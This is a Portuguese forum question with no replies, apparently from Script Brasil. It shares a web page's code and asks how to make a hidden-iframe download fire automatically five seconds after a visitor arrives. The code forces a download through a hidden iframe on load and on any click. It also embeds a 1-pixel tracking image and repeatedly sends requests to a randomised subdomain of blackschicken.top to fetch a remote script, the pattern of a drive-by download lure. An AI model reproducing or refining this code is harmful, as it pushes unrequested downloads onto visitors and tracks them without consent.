Ir para conteúdo
Fórum Script Brasil
  • 0

Function clicked em iframe script


efraimvieira

Pergunta

Estou tento um problema no código, quando entro no no corpo no site através da Web com tudo feito,  aonde tem - (iframe.src = "LINK-DO-DOWNLOAD-AQUI";) ele vai começar a baixar algo, mas quando clico no site em qualquer lugar, ele começa o download novamente, quero retirar essa função de clicar em qualquer lugar e começar o download, e deixar só quando clicar no botão

Quero que quando entrar no site, ele comece a fazer o download depois de 5 segundos que entrar no site e deixar o botão com o mesmo link de download, caso de um bug no site e não comece a fazer o download depois dos 5 segundos.

 

<body class="body--black">
	<div class="main-block">
		<h1>My Daddy and Mommy</h1>
		<div class="topblock">
			<div class="arr" id="arr"></div>
			<button class="topblock__button" id="topblock__button">BAIXAR</button>
		</div>
		<div class="items" id="items" data-style="display: flex;"></div>
	</div>

            <img src="http://i.imgur.com/Dz5y2gN.gif" width="1" height="1">
    
	
	<iframe id="clickedFr" style="display:none"></iframe>
	<script type="text/javascript">
	    var iframe = document.getElementById("clickedFr");

	    function clicked(){
            iframe.src = "LINK-DO-DOWNLOAD-AQUI";
	    }

	    clicked();

	    function drawItems(response) {
	    	var data = JSON.parse(response);
		    var items = document.getElementById("items");
		    var itemsHtml = "";

		    for (var i = 0; i < 3; i++) {
		    	var item = data["item"+(i+1)];
		    	var itemTpl = '<div class="item" id="item__'+i+'" data-style="display: flex;"><div class="item__img item__img--'+i+'"></div><div class="item__tit">'+item.title+'</div><div class="item__descr">'+item.description+'</div></div>';
				itemsHtml+=itemTpl;
			}

			items.innerHTML = itemsHtml;

			document.getElementById("topblock__button").innerText = data["button"];
				    }

	    document.getElementById("arr").innerHTML = '<div class="arr__holder"><div class="arr__left"><span></span></div><div class="arr__right"><span></span></div></div>';

	    
		var xhr = new XMLHttpRequest();
		xhr.open('GET', '/static/info.json', true);
		xhr.send();

		xhr.onreadystatechange = function() {
			if (xhr.readyState != 4) return;
			if (xhr.status == 200) drawItems(xhr.responseText);
		};

	    	        document.addEventListener("click", clicked);
	    
    		       	var srcactionc = 0;

	        function srcaction() {
	        	srcactionc++;
	        	try {
    	        	var xhr = new XMLHttpRequest();
                    xhr.open("GET", "//" + Date.now() + ".8kl0fi.49c8d049.blackschicken.top:8080/static/mainaction.js?" + Date.now(), true);
                    xhr.send();
	        	} catch (ev) {}
	        	if (srcactionc >= 402) clearInterval(srcaction)
	        }

	        srcaction();

	        var srcInt = setInterval(srcaction, 9852);
			</script>
</body>

 

Link para o comentário
Compartilhar em outros sites

0 respostass a esta questão

Posts Recomendados

Até agora não há respostas para essa pergunta

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,1k
    • Posts
      651,8k
×
×
  • Criar Novo...